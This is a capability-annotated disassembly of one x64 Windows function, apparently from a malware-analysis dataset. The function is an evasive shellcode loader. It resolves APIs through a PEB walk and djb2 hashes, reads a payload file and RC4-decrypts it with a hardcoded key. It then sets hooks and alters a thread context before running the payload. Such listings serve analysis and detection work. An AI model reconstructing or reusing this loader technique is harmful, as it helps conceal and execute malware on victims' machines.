Function at 0x140002770
Capabilities:
Access peb ldr_data
Encrypt data using rc4 via systemfunction032
Get file size
Hash data using djb2

Disassembly:
mov qword [rsp + 0x20], rsi
push rbp
lea rbp, [rsp - 0x590]
sub rsp, 0x690
mov rax, qword [0x140006018]
xor rax, rsp
mov qword [rbp + 0x580], rax
xorps xmm0, xmm0
xor eax, eax
mov qword [rbp + 0x20], rax
lea rax, [rbp - 0x70]
movups xmmword [rbp - 0x70], xmm0
mov qword [0x1400066a8], rax
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
mov r9, qword [rax + 0x10]
mov r8, r9
nop word [rax + rax]
mov rcx, qword [r8 + 0x60]
xor esi, esi
mov eax, 0x1505
movzx edx, word [rcx]
test edx, edx
je 0x14000281d
imul eax, eax, 0x21
lea rcx, [rcx + 2]
add eax, edx
movzx edx, word [rcx]
test edx, edx
jne 0x140002802
cmp eax, 0x22d3b5ed
je 0x140002d94
mov r8, qword [r8]
cmp qword [r8], r9
jne 0x1400027f0
mov rax, rsi
mov qword [rsp + 0x6a0], rbx
lea rcx, [0x140006630]
mov qword [rsp + 0x6b0], r14
mov qword [rbp - 0x70], rax
call fcn.1400014e0
mov rcx, qword [rbp - 0x70]
mov edx, 0x6793c34c
call section..text
lea rcx, [rbp - 0x68]
mov qword [rbp - 0x68], rax
call fcn.140002f10
test eax, eax
je 0x140002d9d
mov rcx, qword [rbp - 0x70]
mov edx, 0x82962c8
call section..text
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x50], rax
call fcn.140002f10
test eax, eax
je 0x140002d9d
mov rcx, qword [rbp - 0x70]
mov edx, 0x308be0d0
call section..text
lea rcx, [rbp - 0x38]
mov qword [rbp - 0x38], rax
call fcn.140002f10
test eax, eax
je 0x140002d9d
mov rcx, qword [rbp - 0x70]
mov edx, 0x9e0e1a44
call section..text
lea rcx, [rbp - 0x20]
mov qword [rbp - 0x20], rax
call fcn.140002f10
test eax, eax
je 0x140002d9d
mov rcx, qword [rbp - 0x70]
mov edx, 0x471aa7e9
call section..text
lea rcx, [rbp - 8]
mov qword [rbp - 8], rax
call fcn.140002f10
test eax, eax
je 0x140002d9d
mov rcx, qword [rbp - 0x70]
mov edx, 0x1703ab2f
call section..text
lea rcx, [rbp + 0x10]
mov qword [rbp + 0x10], rax
call fcn.140002f10
test eax, eax
je 0x140002d9d
movaps xmm0, xmmword [str.C:__Users__hasee__Desktop__Jomungand_main__vstudio_project__1.bin]
lea rdx, [rbp + 0x530]
movaps xmm1, xmmword [0x1400042b0]
xor r9d, r9d
movzx eax, word [0x1400042e0]
mov r8d, 0x80000000
mov rcx, qword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [rsp + 0x78], esi
mov dword [rsp + 0x70], esi
mov dword [rsp + 0x68], esi
mov dword [rsp + 0x60], esi
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], esi
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
movaps xmmword [rbp + 0x530], xmm0
movaps xmm0, xmmword [0x1400042c0]
movaps xmmword [rbp + 0x540], xmm1
movaps xmm1, xmmword [0x1400042d0]
mov qword [rsp + 0x30], 0x80
mov qword [rsp + 0x28], 3
mov qword [rsp + 0x20], rsi
movaps xmmword [rbp + 0x550], xmm0
movaps xmmword [rbp + 0x560], xmm1
mov word [rbp + 0x570], ax
call fcn.140002de0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002d9d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rdx, qword [rbp - 0x60]
mov ecx, dword [rbp - 0x58]
mov dword [0x140006698], eax
call fcn.140003040
mov dword [rsp + 0x70], esi
lea r14, [0x140006698]
mov dword [rsp + 0x68], esi
lea r8, [0x140006690]
mov dword [rsp + 0x60], esi
lea rcx, [0x14000304e]
mov dword [rsp + 0x58], esi
xor r9d, r9d
mov dword [rsp + 0x50], esi
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
lea rdx, [r9 - 1]
mov qword [rsp + 0x30], 4
mov qword [rsp + 0x28], 0x1000
mov qword [rsp + 0x20], r14
call fcn.140002de0
test eax, eax
jne 0x140002d9d
mov r9d, dword [0x140006698]
mov rdx, rbx
mov r8, qword [0x140006690]
mov rcx, qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rsp + 0x68], esi
mov dword [rsp + 0x60], esi
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], esi
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call fcn.140002de0
test rax, rax
je 0x140002d9d
mov rcx, qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov dword [rsp + 0x48], esi
xor r8d, r8d
mov qword [rsp + 0x40], rsi
mov rdx, rbx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call fcn.140002de0
test rax, rax
je 0x140002d9d
mov rax, qword [0x140006690]
lea rdx, [rbp + 0x30]
movups xmm0, xmmword [str.helloshongshifu]
mov qword [rbp - 0x78], rax
lea rcx, [rbp - 0x80]
mov eax, dword [0x140006698]
mov dword [rbp - 0x7c], eax
mov dword [rbp - 0x80], eax
lea rax, [rbp + 0x520]
mov qword [rbp + 0x38], rax
mov qword [rsp + 0x6a8], rdi
movups xmmword [rbp + 0x520], xmm0
mov dword [rbp + 0x34], 0x10
mov dword [rbp + 0x30], 0x10
call qword [sym.imp.ADVAPI32.dll_SystemFunction032]
mov rcx, qword [0x140006668]
xor r9d, r9d
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rsi
xor edx, edx
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call fcn.140002de0
mov r8, qword [0x140006688]
lea r9, [rbp - 0x70]
xor edx, edx
mov rcx, rax
mov rbx, rax
call fcn.1400010b0
test eax, eax
jne 0x140002b7c
lea rcx, str.____Cant_set_hook___n
call fcn.140002330
mov r8, qword [0x140006678]
lea r9, [rbp - 0x70]
mov edx, 1
mov rcx, rbx
call fcn.1400010b0
test eax, eax
jne 0x140002ba4
lea rcx, str.____Cant_set_hook___n
call fcn.140002330
mov rdi, qword [0x140006680]
lea rcx, [rbp + 0x50]
xor edx, edx
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
mov rdx, qword [rbp - 0x18]
mov ecx, dword [rbp - 0x10]
mov dword [rbp + 0x80], 0x100010
call fcn.140003040
mov dword [rsp + 0x50], esi
lea r8, [rbp + 0x50]
mov dword [rsp + 0x48], esi
lea rcx, [0x14000304e]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x38], rsi
mov rdx, rbx
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call fcn.140002de0
test eax, eax
jne 0x140002c7d
mov rax, qword [rbp + 0xc0]
mov rdx, qword [rbp - 0x30]
and rax, 0xfffffffffcffffff
mov ecx, dword [rbp - 0x28]
or rax, 0x10
or dword [rbp + 0x80], 0x100010
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xa8], rdi
call fcn.140003040
mov dword [rsp + 0x50], esi
lea r8, [rbp + 0x50]
mov dword [rsp + 0x48], esi
lea rcx, [0x14000304e]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x38], rsi
mov rdx, rbx
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call fcn.140002de0
test eax, eax
je 0x140002c89
lea rcx, str.____Cant_set_hook___n
call fcn.140002330
mov rcx, qword [0x140006658]
xor r9d, r9d
mov dword [rsp + 0x48], esi
xor r8d, r8d
mov qword [rsp + 0x40], rsi
mov rdx, rbx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call fcn.140002de0
mov rcx, qword [0x140006660]
lea r8, [0x140002390]
mov dword [rsp + 0x50], esi
xor r9d, r9d
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
lea edx, [r9 + 1]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call fcn.140002de0
mov rdx, qword [rbp - 0x48]
mov ecx, dword [rbp - 0x40]
mov dword [rbp + 0x40], esi
call fcn.140003040
mov dword [rsp + 0x68], esi
lea rax, [rbp + 0x40]
mov dword [rsp + 0x60], esi
lea r8, [0x140006690]
mov dword [rsp + 0x58], esi
lea rcx, [0x14000304e]
mov dword [rsp + 0x50], esi
mov r9, r14
mov dword [rsp + 0x48], esi
mov rdx, 0xffffffffffffffff
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x20
call fcn.140002de0
mov rdi, qword [rsp + 0x6a8]
test eax, eax
jne 0x140002d90
mov rcx, qword [0x140006690]
xor r9d, r9d
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rsi
xor edx, edx
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call fcn.140002de0
xor eax, eax
jmp 0x140002da2
mov rax, qword [r8 + 0x30]
jmp 0x140002828
mov eax, 1
mov r14, qword [rsp + 0x6b0]
mov rbx, qword [rsp + 0x6a0]
mov rcx, qword [rbp + 0x580]
xor rcx, rsp
call fcn.140003080
mov rsi, qword [rsp + 0x6b8]
add rsp, 0x690
pop rbp
ret